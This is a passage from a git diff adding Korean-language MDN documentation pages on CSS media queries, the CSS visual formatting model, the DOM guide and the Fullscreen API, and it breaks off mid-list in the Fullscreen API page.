+<p><code>or</code> 를 사용하면 다수의 기능 가운데 맞는 것이 하나라도 있는지를 테스트하여, 그중에 맞는 것이 하나라도 있으면 <code>true</code> 값을 반환하게 할 수 있습니다. 예를 들어, 다음에 보이는 쿼리에서는 흑백화면인지 혹은 hover가 가능한 지를 시험하고 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (not (color)) or (hover) { ... }
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">프로그래밍으로 미디어 쿼리 판별하기</a></li>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions#Media_features">Mozilla 미디어 기능 확장</a></li>
+ <li><a href="/ko/docs/Web/CSS/Webkit_Extensions#Media_features">WebKit 미디어 기능 확장</a></li>
+</ul>
diff --git a/files/ko/web/guide/css/visual_formatting_model/index.html b/files/ko/web/guide/css/visual_formatting_model/index.html
new file mode 100644
index 0000000000..4b32d08a30
--- /dev/null
+++ b/files/ko/web/guide/css/visual_formatting_model/index.html
@@ -0,0 +1,223 @@
+---
+title: 시각적 서식 모델
+slug: Web/Guide/CSS/Visual_formatting_model
+tags:
+  - 씨에스에스
+  - 씨에스에스 상자 모델
+  - 참조
+translation_of: Web/CSS/Visual_formatting_model
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">씨에스에스 <ruby><em>시각적 서식 모델</em><rp> (</rp><rt>visual formatting model</rt><rp>) </rp></ruby>은 문서를 처리하여 그것을 시각적 매체에 표시하는 알고리즘입니다. 이 모델은 씨에스에스의 기본 개념입니다. </span></p>
+
+<p>시각적 서식 모델은 문서의 각 요소를 변환하여, <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">씨에스에스 상자 모델</a>에 부합하는 0, 1 또는 여러 상자를 생성합니다. 각 상자의 조판은 다음과 같이 정의됩니다:</p>
+
+<ul>
+ <li>상자의 면적: 정확히 정의하거나 제약을 받거나, 아에 정의하지 않습니다.</li>
+ <li>상자의 유형: 인라인, 인라인수준, 원자 인라인수준, 블록.</li>
+ <li><a href="/ko/docs/CSS/Box_positioning_scheme" title="CSS/Box positioning scheme">위치잡기 기법</a>: 일반 대열 소속, 부동체, 또는 절대 위치잡기.</li>
+ <li>트리 구조에 속한 다른 요소 무리: 그것의 자녀와 이웃.</li>
+ <li>{{glossary("viewport")}} 크기와 위치.</li>
+ <li>컨테이너에 속한 이미지의 고유한 면적.</li>
+ <li>다른 외부 정보</li>
+</ul>
+
+<p>동 모델은 컨테이너 블록의 모서리 기준과 비례하여 상자를 렌더링합니다. 보통, 하나의 상자는 자기 자손들을 위한 컨테이너 블록을 수립합니다. 그러나 상자는 자신의 상위 컨테이너 블록에 구속되지 않습니다. 상자 조판이 상위 컨테이너 블록을 벗어나면 <ruby><em>대열이탈</em><rp> (</rp><rt>overflow</rt><rp>) </rp></ruby>했다고 말합니다..</p>
+
+<h2 id="상자_생성">상자 생성</h2>
+
+<p>상자 생성은 해당 문서의 요소로부터 상자를 생성하는 씨에스에스 시각적 서식 모델의 일부입니다. 생성된 상자는 다양한 유형으로, 이 유형은 시각적 서식이 이뤄지는 방식에 영향을 미칩니다. 생성되는 상자 유형은 {{ cssxref("display") }} 씨에스에스 속성의 값 여하에 따라 달라집니다.</p>
+
+<h3 id="블록수준_요소와_블록_상자">블록수준 요소와 블록 상자</h3>
+
+<p>어떤 요소를 <em>블록수준</em>이라고 말하려면 계산된 {{ cssxref("display") }} 씨에스에스 속성값이 <code>block</code>, <code>list-item</code>, 또는 <code>table</code>일 때입니다. 블록수준 요소는 사실상 하나의 블록으로 취급되어 시각적으로 서식되며, 수직적으로 겹겹이 포개집니다.</p>
+
+<p>각각의 블록수준 상자는 <a href="/en-US/docs/CSS/block_formatting_context" title="block formatting context">블록 서식 상황</a>에 참여합니다. 각 블록수준 요소는 적어도 하나의 블록수준 상자를 생성하며 이를 일컬어 <ruby><em>수석 블록수준 상자</em><rp> (</rp><rt>principal block-level box</rt><rp>) </rp></ruby>라고 합니다. 일부 요소 무리는 목록항목 요소와 같이 목록 항목을 안내하는 글머리표와 서로 다른 타이포그래픽 요소를 처리하기 위한 상자를 추가적으로 생성하듯 더 많은 상자 무리를 생성할 수 있습니다. 대다수는 수석 블록 수준 상자만을 생성합니다.</p>
+
+<p>수석 블록수준 상자는 자손이 생성한 상자 및 콘텐츠를 포함합니다. 상자는 <a href="/en-US/docs/CSS/Positioning_scheme" title="CSS/Positioning scheme">위치잡기 기법</a>에도 관여하고 있습니다.</p>
+
+<p><img alt="venn_blocks.png" class="internal lwrap" src="/@api/deki/files/5995/=venn_blocks.png" style="float: left;">블록 수준 상자는 역시 블록 콘테이너 상자도 될 수 있습니다. <em>블록 컨테이너 상자</em>는 다른 블록수준 상자만을 포함하고 <a href="/ko/docs/Web/CSS/Inline_formatting_context" title="CSS/Inline formatting context">인라인 서식 상황</a>을 생성하므로 인라인 상자 무리만을 포함합니다.</p>
+
+<p>중요한 점은 블록수준 상자와 블록 컨테이너 상자의 개념은 별개라는 점에 유의해야 한다는 것입니다. 첫째, 상자가 자기 부모와 형제자매과 함께하는 행동 방식을 설명합니다. 둘째, 상자가 자기 자손과는 어떻게 상호작용하는지 설명합니다. 테이블과 같은 블록 수준의 상자 무리는 블록 컨테이너 상자가 아닙니다. 마찬가지로 <ruby><em>비객원</em><rp> (</rp><rt>non-replaced</rt><rp>) </rp></ruby> 인라인 블록과 비객원 테이블 셀과 같은 일부 블록 컨테이너 상자는 블록 수준 상자가 아닙니다.</p>
+
+<p>또한, 블록 컨테이너 상자이며 동시에 블록수준 상자를 일컬어 우리는 <ruby><em>블록 상자</em><rp> (</rp><rt>block boxes</rt><rp>) </rp></ruby>라고 부릅니다.</p>
+
+<h4 id="무명_블록_상자">무명 블록 상자</h4>
+
+<p>경우에 따라서는 시각적 서식 알고리즘은 보충 상자를 추가할 알고리즘도 필요합니다</p>
+
+<p>씨에스에스 선택기는 해당 상자에 이름을 부여하거나 스타일링을 할 수 없기 때문에 이를 일컬어<em>무명 상자</em>라고 합니다.</p>
+
+<p>선택기는 무명 상자와 협력하지 않기 때문에 스타일시트를 통해 스타일링이 적용될 수 없습니다. 즉, 상속할 수 있는 모든 씨에스에스 속성은 <code>inherit</code> 값을 갖고 상속할 수 없는 씨에스에스 속성은 <code>initial</code> 값을 가집니다.</p>
+
+<p>상자를 포함하는 블록은 인라인수준 상자 또는 블록수준 상자만을 포함합니다. 그러나 문서는 두 가지 모두를 혼합해 포함합니다. 그 경우 무명 블록 상자는 인접 인라인수준 상자 주변에 생성됩니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<p>아래와 같은 ({{ HTMLElement("div") }}와 {{ HTMLElement("p") }}에 기본값 스타일링이 적용된 에이치티엠엘 코드가 <code>display: block</code> 속성을 갖고 있다면:</p>
+
+<pre class="syntaxbox"><code>&lt;div&gt;약간의 인라인 텍스트 &lt;p&gt;뒤를 잇는 단락 하나&lt;/p&gt; 그 뒤를 잇는 인라인 텍스트.&lt;/div&gt;</code></pre>
+
+<p>두 개의 무명 블록 상자가 만들어집니다: 하나는 단락 이전 텍스트(<code>약간의 인라인 텍스트</code>) 나머지 하나는 단락 이후 텍스트(<code>그 뒤를 잇는 인라인 텍스트</code>). 이는 다음과 같은 블록 구조를 구축합니다:</p>
+
+<p style="text-align: center;"><img alt="anonymous_block-level_boxes.png" class="default internal" src="/@api/deki/files/5996/=anonymous_block-level_boxes.png"></p>
+
+<p>결과는:</p>
+
+<pre>약간의 인라인 텍스트
+뒤를 잇는 단락 하나
+그 뒤를 잇는 인라인 텍스트.
+</pre>
+
+<p>{{ HTMLElement("p") }} 요소인 상자와 달리 웹 개발자는 두 개의 무명 상자 스타일을 제어할 수 없습니다. 상속 가능한 속성은 (마치 텍스트의 색상을 정의하기 위한 {{ cssxref("color") }}와 같이) {{ HTMLElement("div") }}의 속성 값에서 값을 취하고, 나머지는 초기(<code>initial</code>)값으로 설정합니다. 예를 들어, 무명 상자는 {{ cssxref("background-color") }}를 갖지 않을 것이라, 항상 해당 속성의 초기(<code>initial</code>)값을 가지며 투명합니다. 따라서 <code>&lt;div&gt;</code>의 배경이 보여집니다. 특정 배경색은 <code>&lt;p&gt;</code> 상자에 적용할 수 있습니다. 마찬가지로 두 무명 상자는 항상 같은 색을 텍스트에 사용합니다.</p>
+
+<p>무명 블록 상자를 만드는 또 다른 사례는 하나 또는 여러 개의 블록 상자를 포함하는 인라인 상자입니다. 이 경우 블록 상자가 들어있는 상자는 두 개의 인라인 상자로 쪼개집니다. 하나는 블록 상자 이전에, 다른 하나는 뒤에 옵니다. 블록 상자 이전의 모든 인라인 상자는 <em>무명 블록 상자</em>로 포섭되며, 블록 상자 뒤에 있는 인라인 상자도 마찬가지입니다. 따라서 블록 상자는 인라인 요소를 포함하는 두 개의 무명 블록 상자의 형제가 됩니다.</p>
+
+<p>중간에 인라인 콘텐츠가 없이 여러 블록 상자가 있는 경우 무명 블록 상자가 해당 상자 집합 이전과 이후에 생성됩니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<p>아래 에이치티엠엘 코드를 보면 {{ HTMLElement("p") }}는 <code>display: inline</code> 속성을 갖고 있고 {{ HTMLElement("span") }}는 <code>display:block</code> 속성을 갖고 있습니다:</p>
+
+<pre class="syntaxbox"><code>&lt;p&gt;일부 &lt;em&gt;인라인&lt;/em&gt; 텍스트 &lt;span&gt;그 뒤를 잇는 단락&lt;/span&gt; 그 뒤를 잇는 추가 인라인 텍스트.&lt;/p&gt;</code></pre>
+
+<p>두 개의 무명 블록 상자가 생성되었습니다. 스팬 요소 이전의 텍스트(<code>일부 <em>인라인</em> 텍스트</code>) 하나와 그 뒤의 텍스트(<code>그 뒤를 잇는 추가 인라인 텍스트</code>) 하나가 있는데 이로써 다음과 같은 블록 구조가 주어졌습니다:</p>
+
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/13625/anonymous_block_box_break.png" style="height: 137px; width: 597px;"></p>
+
+<p>이 것의 결과는:</p>
+
+<pre>약간의 인라인 텍스트
+뒤를 잇는 단락 하나
+그 뒤를 잇는 인라인 텍스트.
+</pre>
+
+<h3 id="인라인수준_요소와_인라인_상자">인라인수준 요소와 인라인 상자</h3>
+
+<p>어떤 요소가 <em>인라인수준</em>이라고 말하려면 자신의 계산된 {{ cssxref("display") }} 씨에스에스 속성 값이 <code>inline</code>, <code>inline-block</code> 또는 <code>inline-table</code>일 때입니다. 시각적으로는 이것은 콘텐츠로 이뤄진 블록 무리를 구성하지 않고 다른 인라인수준 콘텐츠와 함께 라인의 형태로 배포됩니다. 일반적으로 강조 또는 이미지와 같이 서로 다른 서식을 가진 단락의 콘텐츠는 인라인수준 요소로 만들어집니다.</p>
+
+<p><img alt="venn_inlines.png" class="internal lwrap" src="/@api/deki/files/6008/=venn_inlines.png" style="float: left;"></p>
+
+<div class="warning">
+<p>이 도식은 구식 용어를 사용합니다: 아래 참조 사항을 보세요. 그것 이외에도 오른쪽의 노란색 타원은 정의에 따르면 왼쪽의 타원형과 동일하거나 그보다 크기 때문에(수학적 상위집합일 수 있어) 그림이 틀렀습니다, 왜냐하면 해당 씨에스에스 스펙을 보면 "인라인수준 요소는 인라인 서식 상황에 참여하는 상자인 인라인수준 상자를 생성한다"라고 쓰여있기 때문입니다. 씨에스에스 2.2, 9.2.2장 참조</p>
+</div>
+
+<p>인라인 수준 요소는 <a href="/ko/docs/CSS/Inline_formatting_context" title="CSS/Inline formatting context">인라인 서식 상황</a>에 참여하는 상자로 정의되는 <em>인라인수준 상자</em>를 생성합니다. <em>인라인 상자</em>는 상자와 인라인 수준 상자 모두가 해당합니다. 다만 이들 상자의 콘텐츠는 인라인 서식 상황에 참여해야 합니다. 예를 들어, <code>display: inline</code> 속성을 가진 모든 비객원 상자의 경우가 인라인입니다. 인라인 서식 상황에 참여하지 않는 인라인수준 상자를 <ruby><em>원자 인라인수준 상자</em><rp> (</rp><rt>atomic inline-level boxes</rt><rp>) </rp></ruby>라고 합니다. 객원 인라인수준 요소 또는 계산된 {{ cssxref("display") }} 값이 <code>inline-block</code>인 요소에 의해 생성된 해당 상자 무리는 인라인 상자에서 가능했던 것처럼 여러 상자로 쪼개지지 않습니다.</p>
+
+<div class="note"><strong>참고:</strong> 처음에는 원자 인라인수준 상자를 원자 인라인 상자라고 불렀습니다. 그 명명은 불행한 일입니다. 인라인 상자가 <strong>아니기</strong> 때문입니다. 이건 씨에스에스 규격 상에 오타로 시정된 겁니다. 그렇긴 하지만, 문장 속에서 원자 인라인 상자를 마주칠 때마다 무리없이 원자 인라인 수준 상자로 읽을 수 있습니다. 그냥 이름 변경에 불과하기 때문입니다.</div>
+
+<div class="note">원자 일라인 상자는 인라인 서식 상황 속에서 여러 라인에 걸쳐 분할될 수 없습니다.
+<div style="-moz-column-width: 30em;">
+<pre>&lt;style&gt;
+  span {
+    display:inline; /* default value*/
+  }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+   스팬 요소에 포함된 택스트는 &lt;span&gt; 몇 개의 라인으로 분할 될 수
+   있습니다. 왜냐면 &lt;/span&gt; 그것이 인라인 상자이기 때문입니다.
+&lt;/div&gt;
+</pre>
+
+<p>이 것의 결과는:</p>
+
+<div style="width: 20em;">The text in the span <span>can be split into several lines as it</span> is an inline box.</div>
+
+<pre>&lt;style&gt;
+  span {
+    display:inline-block;
+  }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+   스팬 요소에 포함된 텍스트는 &lt;span&gt;몇 라인으로 분할 될 수
+   없 습니다. 왜냐면 &lt;/span&gt; 그것이 인라인 블록이기 때문입니다.
+&lt;/div&gt;
+</pre>
+
+<p>이 것의 결과는:</p>
+
+<div style="width: 20em;">스팬 요소에 포함된 텍스트는 <span style="display: inline-block;">분할될 수 없습니다. 왜냐면</span> 인라인 블록 상자이기 때문입니다.</div>
+</div>
+</div>
+
+<h4 id="무명_인라인_상자">무명 인라인 상자</h4>
+
+<p>블록상자처럼 씨에스에스 엔진에 의해 자동적으로 인라인상자가 생성되는 경우가 몇 개 있습니다. 이들 인라인 상자는 무명으로, 선택기가 이름을 특정할 수 없습니다. 무명 인라인 상자의 속성은, 상속 가능한 것은 상속된 값을, 그 이외는 <code>initial</code> 값을 가집니다.</p>
+
+<p>무명의 인라인 상자가 만들어지는 흔한 경우는 인라인 서식 상황을 만드는 블록상자의 직계 자식 요소로 파악되는 텍스트가 있는 경우입니다. 이 경우, 동 텍스트는 최대한 큰 무명 인라인 상자에 넣을 수 있습니다. 또한, 씨에스에스의 {{ cssxref("white-space") }} 속성으로 지정된 동작에 의해 제거되는 공백의 콘텐츠는 결국 공백이 될 것이기 때문에 무명 인라인 상자를 생성하지 않습니다.</p>
+
+<div class="note">예제 TBD</div>
+
+<h3 id="다른_유형의_상자">다른 유형의 상자</h3>
+
+<h4 id="라인_상자">라인 상자</h4>
+
+<p><em>라인 상자</em>는 텍스트 라인을 표현하기 위해 <a href="/en-US/docs/CSS/Inline_formatting_context" title="block formatting context">인라인 서식 상황</a>에 의해 생성되는 상자입니다. 블록 상자 내부의 라인 상자는 상자의 한쪽 테두리로부터 반대측의 테두리까지 넓어집니다. <a href="/en-US/docs/CSS/float" title="float">부동체</a>가 있을 경우 라인 상자 구역은 왼쪽 부동체의 맨우측 테두리에서 시작해 우측 부동체의 맨좌측 테두리에서 끝납니다.</p>
+
+<p>이들 상자는 기술적인 것으로, 보통 웹 저술가가 이것에 대해 고민할 필요는 없습니다.</p>
+
+<h4 id="내부진행_상자">내부진행 상자</h4>
+
+<p><code>display: run-in</code>을 사용하도록 정의되는 <ruby><em>내부진행 상자</em><rp> (</rp><rt>Run-in boxes</rt><rp>) </rp></ruby>는 후속 상자의 유형 여하에 따라 블록 상자이거나 인라인 상자입니다. 그들은 가능할 경우 자신의 첫 단락 내부에 진행하는 글 제목을 생성하는 데 사용될 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 내부진행 상자는 씨에스에스 2.1 규격에서 제외되었다. 상호운용 실현 가능성을 불충분하게 명시했기 때문입니다. 그들이 <ruby><em>씨에스에스 3</em><rp> (</rp><rt>CSS 3</rt><rp>) </rp></ruby>에선 다시 등장할 수도 있지만, 현재로선 <em>실험 상태</em>로 간주합니다. 그들을 완성품에선 사용하지 말아야 합니다.</div>
+
+<h4 id="모델유인_상자">모델유인 상자</h4>
+
+<p>인라인 및 블록 서식 상황 외에도 씨에스에스는 요소에 적용할 수 있는 몇 가지 추가 <em>콘텐츠 모델</em>을 지정할 수 있습니다. 특정 레이아웃을 설명하는 데 사용되는 이러한 추가 모델은 추가 상자 유형을 정의할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/table-layout" title="table-layout">테이블 콘텐츠 모델</a>은 <em>테이블 래퍼 상자</em>와 <em>테이블 상자</em>를 생성할 수 있을뿐만 아니라 <em>캡션 상자</em>같은 특정 상자도 생성할 수 있습니다.</li>
+ <li>The <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="Using CSS multi-column layouts">다단 콘텐츠 모델</a> 은 컨테이너 상자와 컨텐츠 사이에 <ruby><em>열 상자</em><rp> (</rp><rt>column boxes</rt><rp>) </rp></ruby>를 생성할 수 있습니다.</li>
+ <li>실험적인 격자 또는 가변상자 콘텐츠 모델, 또는 추가적인 유형의 상자를 생성할 수 있습니다.</li>
+</ul>
+
+<h4 id="위치잡기_기법">위치잡기 기법</h4>
+
+<p>상자를 생성하고 나면 씨에스에스 엔진은 그것들을 조판에 위치시켜야 합니다. 그렇게 하려면 다음과 같은 알고리즘 중의 하나를 사용합니다.</p>
+
+<ul>
+ <li><ruby><em>일반 대열</em><rp> (</rp><rt>normal flow</rt><rp>) </rp></ruby> - 하나씩 차례대로 상자를 위치시킵니다.</li>
+ <li><ruby><em>부동체</em><rp> (</rp><rt>floats</rt><rp>) </rp></ruby> 알고리즘 - 일반 대열에서 상자를 빼내어 상위 컨테이너 상자 옆에 놓습니다.</li>
+ <li><em>절대 위치잡기</em> 기법 - 자신의 상위 컨테이너 요소가 수립한 절대 좌표 시스템 내부에 상자를 위치시킵니다. 절대적으로 위치잡기한 요소는 다른 요소를 덮을 수 있습니다.</li>
+</ul>
+
+<h3 id="일반_대열">일반 대열</h3>
+
+<p><em>일반 대열</em> 속 상자 무리는 하나씩 차례대로 배치됩니다. 블록 서식 상황 속에서 그들은 수직으로 배치됩니다. 반면에 인라인 서식 상황 속에서 그들은 수평으로 배치됩니다. 일반 대열은 CSS {{ cssxref("position") }}이 <code>static</code> 또는 <code>relative</code> 값으로 설정될 경우와 {{ cssxref("float") }}가 <code>none</code>으로 설정되면 발동됩니다.</p>
+
+<h3 id="예제_3">예제</h3>
+
+<div class="note">일반 대열 속에서는 블록 서식 상황에 포함된 상자는 수직으로 하나씩 차례대로 배치됩니다.<br>
+<br>
+일반 대열 속에서는 인라인 서식 상황에 포함된 상자는 수평으로 하나씩 차례대로 배치됩니다.</div>
+
+<div class="note">
+<p>일반 대열에는 두 가지 하위 사례가 있습니다. 정적 위치잡기와 상대 위치잡기:</p>
+
+<ul>
+ <li><em>정적 위치잡기</em>에서는 {{ cssxref("position") }} 속성이 <code>static</code> 값일 경우에 발동됩니다. 상자 무리는 일반 대열 조판에 정의된 정확한 위치에 그려집니다.</li>
+ <li><em>상대 위치잡기</em>에서는 {{ cssxref("position") }} 속성이 <code>relative</code> 값일 경우 발동합니다. 상자는 씨에스에스 속성 무리인 {{ cssxref("top") }}, {{ cssxref("bottom") }}과 {{ cssxref("left") }}, {{ cssxref("right") }}에 의해 정의된 간격띄우기 값을 기준으로 그려집니다.</li>
+</ul>
+</div>
+
+<h3 id="부동체">부동체</h3>
+
+<p><ruby><em>부동 위치잡기 기법</em><rp> (</rp><rt>float positioning scheme</rt><rp>) </rp></ruby>에서는 특정 상자(부동 상자 또는 단순 부동체라고 일컬음)를 현재 라인의 시작 또는 끝에 위치시킵니다. 이는 텍스트(그리고 더 일반적으로 일반 대열 내의 모든 것)은 부동 상자의 가장자리를 따라 대열을 맞추는 속성으로 귀결됩니다. 다만 씨에스에스 {{ cssxref("clear") }} 속성에 의해 다른 예기가 나올 경우는 예외입니다.</p>
+
+<p>상자에 대해 부동 위치잡기 기법을 선택하려면 해당 상대에 대해 씨에스에스 {{ cssxref("float") }} 속성을 <code>none</code> 이외의 값으로 설정하거나 {{ cssxref("position") }} 속성에 <code>static</code>이나 <code>relative</code>가 아닌 값으로 설정할 때 이뤄진다. 만일 {{ cssxref("float") }}가 <code>left</code>로 설정되면 부동체는 라인 상자의 시작 부분에 위치합니다. 만일 <code>right</code>으로 설정되면 동 부동체는 라인 상자의 끝에 위치합니다. 어떤 경우든 라인 상자는 부동체에 들어맞게 축소됩니다.</p>
+
+<h3 id="절대_위치잡기">절대 위치잡기</h3>
+
+<p><ruby><em>절대 위치잡기 기법</em><rp> (</rp><rt>absolute positioning scheme</rt><rp>) </rp></ruby>에 포함된 상자는 대열에서 제거되어 대열과는 어떤 상호작용도 하지 않습니다. 그들은 {{ cssxref("top") }}과 {{ cssxref("bottom") }}, {{ cssxref("left") }}와 {{ cssxref("right") }}를 사용해서 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block" title="CSS/Containing block">상위 컨테이너 블록</a> 기준으로 비례해서 위치잡기합니다.</p>
+
+<p>하나의 요소를 절대 위치잡기하려면 {{ cssxref("position") }}이 <code>absolute</code> 또는 <code>fixed</code>로 설정하면 됩니다.</p>
+
+<p><em>고정 위치잡기한 요소</em>의 경우 상위 컨테이너 블록이 뷰포트입니다. 동 요소의 위치는 뷰포트 내부에서 절대적 위치가 됩니다. 스크롤링은 동 요소의 위치를 변경시키지 않습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/guide/dom/index.html b/files/ko/web/guide/dom/index.html
new file mode 100644
index 0000000000..997730a412
--- /dev/null
+++ b/files/ko/web/guide/dom/index.html
@@ -0,0 +1,21 @@
+---
+title: DOM developer guide
+slug: Web/Guide/DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+<p>The <a href="/docs/DOM">Document Object Model</a> is an API for <a href="/en-US/docs/HTML">HTML</a> and <a href="/en-US/docs/XML">XML</a> documents. It provides a structural representation of the document, enabling the developer to modify its content and visual presentation. Essentially, it connects web pages to scripts or programming languages.</p>
+<p>All of the properties, methods, and events available to the web developer for manipulating and creating web pages are organized into <a href="/en-US/docs/Gecko_DOM_Reference">objects</a> (e.g., the document object that represents the document itself, the table object that represents a HTML table element, and so forth). Those objects are accessible via scripting languages in most recent web browsers.</p>
+<p>The DOM is most often used in conjunction with <a href="/en-US/docs/JavaScript">JavaScript</a>. However, the DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus on JavaScript throughout this site, implementations of the DOM can be built for <a href="http://www.w3.org/DOM/Bindings">any language</a>.</p>
+<p>The <a href="http://www.w3.org/">World Wide Web Consortium</a> establishes a <a href="http://www.w3.org/DOM/">standard for the DOM</a>, called the W3C DOM. It should, now that the most important browsers correctly implement it, enable powerful cross-browser applications.</p>
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Why is the DOM important?</h2>
+<p>"Dynamic HTML" (<a href="/en-US/docs/DHTML">DHTML</a>) is a term used by some vendors to describe the combination of HTML, style sheets and scripts that allows documents to be animated. The W3C DOM Working Group is working hard to make sure interoperable and language-neutral solutions are agreed upon (see also the <a href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). As Mozilla claims the title of "Web Application Platform", support for the DOM is one of the most requested features, and a necessary one if Mozilla wants to be a viable alternative to the other browsers.</p>
+<p>Even more important is the fact that the user interface of Mozilla (also Firefox and Thunderbird) is built using <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, using the DOM to <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">manipulate its own UI</a>.</p>
+<h2 id="More_about_the_DOM">More about the DOM</h2>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/guide/dom/using_full_screen_mode/index.html b/files/ko/web/guide/dom/using_full_screen_mode/index.html
new file mode 100644
index 0000000000..d7f561a95c
--- /dev/null
+++ b/files/ko/web/guide/dom/using_full_screen_mode/index.html
@@ -0,0 +1,198 @@
+---
+title: Using fullscreen mode
+slug: Web/Guide/DOM/Using_full_screen_mode
+translation_of: Web/API/Fullscreen_API
+---
+<div>{{DefaultAPISidebar("Fullscreen API")}}</div>
+
+<p><strong>Fullscreen API</strong> 는 특정 요소{{DOMxRef("Element")}}(와 해당 자손들을)를 full-screen mode로 표시하고, 더 이상 필요하지 않으면 full-screen mode를 종료하는 메서드를 추가합니다. 이렇게 하면 사용자의 전체 화면을 사용하여, 온라인 게임과 같은 원하는 내용을 표시할 수 있습니다. full-screen mode가 종료될 때까지 화면에서 브라우저의 모든 유저 인터페이스 요소와 기타 응용 프로그램을 제거할 수 있습니다.</p>
+
+<p>API 사용 방법에 대한 자세한 내용은 <a href="/ko/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a> 문서를 참조하세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이 API에 대한 지원은 여러 브라우저에서 이루어지며, 다양한 업체의 접두사(prefix)가 필요하거나, 최신 사양을 구현하지 않는 경우가 많습니다. 이 API 지원에 대한 자세한 내용은 아래에 있는 {{anch("Browser compatibility")}} 섹션을 참조하세요. Fullscreen API를 지원하지 않는 업체의 경우, <a href="https://github.com/rafrex/fscreen">Fscreen</a> 과 같은 라이브러리를 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p><em>Fullscreen API 에는 자체 인터페이스가 없습니다. 대신에, full-screen 기능을 제공하는데 필요한 메서드, 속성(property), 이벤트 핸들러를 추가하기 위해, 다음 섹션에 나열된 것과 같은 몇 가지 다른 인터페이스를 추가합니다. </em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Fullscreen API 는 {{DOMxRef("Document")}}, {{DOMxRef("Element")}} 인터페이스에 메서드를 추가하여 full-screen mode를 설정하거나 해제할 수 있습니다.</p>
+
+<h3 id="Methods_on_the_Document_interface">Methods on the Document interface</h3>
+
+<dl>
+ <dt>{{DOMxRef("Document.exitFullscreen()")}}</dt>
+ <dd>{{Glossary("user agent")}} 가 full-screen mode에서 창 모드로 다시 전환되도록 요청합니다. full-screen mode가 완전히 종료되면 {{jsxref("Promise")}} resolved 를 반환합니다.</dd>
+</dl>
+
+<h3 id="Methods_on_the_Element_interface">Methods on the Element interface</h3>
+
+<dl>
+ <dt>{{DOMxRef("Element.requestFullscreen()")}}</dt>
+ <dd>유저 에이전트가 지정한 요소(그리고 그 자손들까지)를 full-screen mode로 설정하고, 브라우저의 모든 UI 요소와 다른 모든 애플리케이션을 화면에서 제거하도록 요구합니다. full-screen mode가 활성화되면 {{jsxref("Promise")}} resolved를 반환합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>{{DOMxRef("Document")}} 인터페이스는 full-screen mode가 지원되고 사용 가능한지, full-screen mode가 현재 활성화 되어있는지, 어떤 요소가 스크린을 사용하고 있는지 확인하는데 사용할 수 있는 속성(property)을 제공합니다.</em></p>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}</dt>
+ <dd><code>fullscreenElement</code> 속성은 DOM(혹은 shadow DOM)에서 현재 full-screen mode로 표시되는 요소{{DOMxRef("Element")}}를 알려줍니다. 이것이 <code>null</code>인 경우, document는 full-screen mode가 아닙니다.</dd>
+ <dt>{{DOMxRef("Document.fullscreenEnabled")}}</dt>
+ <dd><code>fullscreenEnabled</code> 속성(property)은 full-screen mode를 사용할 수 있는지 여부를 알려줍니다. 이유가 어떻든(예를들어, <code>"fullscreen"</code> 기능이 허락되지 않거나, full-screen mode가 지원되지 않는 경우) full-screen mode를 사용할 수 없으면 <code>false</code> 입니다.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p><em>Fullscreen API는 full-screen mode를 켜고 끌 때 혹은, full-screen mode와 window mode간에 변경하는 과정에서 오류가 발생하는 것을 감지하는데 사용할 수 있는 두 가지 이벤트를 정의합니다. 이러한 이벤트에 대한 이벤트 핸들러는 {{DOMxRef("Document")}} 와{{DOMxRef("Element")}} 인터페이스 에서 사용할 수 있습니다.</em></p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이러한 이벤트 핸들러 속성(property)은 HTML 컨텐트 속성(attribute)으로 사용할 수 없습니다. 즉, HTML 컨텐트에서 {{Event("fullscreenchange")}} 및 {{Event("fullscreenerror")}} 이벤트를 지정할 수 없습니다. 자바스크립트 코드로 추가해야만 합니다.</p>
+</div>
+
+<h4 id="Event_handlers_on_documents">Event handlers on documents</h4>
+
+<dl>
+ <dt>{{DOMxRef("Document.onfullscreenchange")}}</dt>
+ <dd>문서(document)가 full-screen mode로 전환되거나 full-screen mode를 종료할 때 {{DOMxRef("Document")}}로 보내지는 {{Event("fullscreenchange")}} 이벤트에 대한 이벤트 핸들러 입니다. 이 핸들러는 오직 전체 문서가 full-screen mode로 표시될 때만 호출됩니다.</dd>
+ <dt>{{DOMxRef("Document.onfullscreenerror")}}</dt>
